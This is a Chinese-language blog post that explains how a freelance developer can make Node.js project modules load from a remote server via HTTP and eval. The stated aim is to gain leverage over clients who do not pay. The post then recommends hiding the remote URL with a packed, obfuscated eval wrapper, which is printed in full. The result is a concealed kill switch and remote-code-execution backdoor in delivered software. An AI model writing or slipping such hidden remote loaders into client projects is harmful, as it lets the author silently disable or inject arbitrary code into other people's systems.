爱折腾,脑洞清奇,nodejs加载远程文件作为模块进行调用

/*
我们的部分程序员小伙伴多多少少会接一些外包的活,可能会遇到部分不良甲方,在签署合同没有经验有了漏洞,结果做好了项目不给全款,那么怎么办呢?留后门、定时器删除代码或者数据库等,可能产生法律问题,得不偿失。
我自己想了个办法,就是解决功能模块的依赖问题,现在的依赖2个方面,一个是npm,另外一个就是系统项目中的自定义模块。
npm 肯定无法做手脚的,那么只能加载自定义功能模块时来进行处理了。
你猜对了,功能模块不在本地,而是在远程服务器,不良甲方不给钱,呵呵,那么直接把远程文件改了地址,如果项目有重启,那么不良甲方就只能哭死了。
当然,这种思路不可用来做坏事,要做个正直的人,付完合同中约定的全款后,记得将依赖模块写入到本地。

远程文件:
httpGet.js
httpGet2.js

项目文件:
module.js
main.js

下面是简单的实现代码
*/

//httpGet.js
var qs = require("querystring");
console.log("加载外部静态模块代码1");
app["name1"]={
    c:[1,2,3],
    qs:()=>qs.stringify({a:111,b:222})
};

//httpGet2.js
var qs = require("querystring");
console.log("加载外部静态模块代码2");
app["name2"]={
    c:[4,5,6],
    qs:()=>qs.stringify({a:333,b:444})
};

//module.js
var app={}
module.exports= async function (name,url) {
    return new Promise(function (resolve, reject) {
        require('http').get(url,function(req,res){
            var html='';
            req.on('data',(data)=>{html+=data;});
            req.on('end',()=>{eval(html);resolve(app[name]);});
            req.on('error',(e)=>{reject(e.message);});
        });
    });
}


//main.js 
var module = require('./module.js');
async function main() {
   var dd= await module("name1",'http://oss.a.com/httpGet/httpGet.js');
   var cc1=dd.qs();
   console.log(cc1);
   
   var dd2= await module("name2",'http://oss.a.com/httpGet/httpGet2.js');
   var cc3=dd2.qs();
   console.log(cc3);
}
main();//执行文件

app[name],在模块定义时必须不同,否则会出现对象被覆盖,切记。

打印的结果就是:
======================
加载外部静态模块代码1
a=111&b=222
加载外部静态模块代码2
a=333&b=444
======================
当然为了避免远程文件连接被发现,可以使用加密混淆工具,这样就看不出是指向哪里了。
eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('0 1=l(\'./1.3\');i h 4(){0 6=9 1("4",\'8://5.a.b/2/2.3\');0 7=6.d();f.c(7);0 g=9 1("k",\'8://5.a.b/2/j.3\');0 e=g.d();f.c(e)}4();',22,22,'var|module|httpGet|js|aa|oss|dd|cc1|http|await||com|log|qs|cc3|console|dd2|function|async|httpGet2|bb|require'.split('|'),0,{}))



  • 0
    点赞
  • 6
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值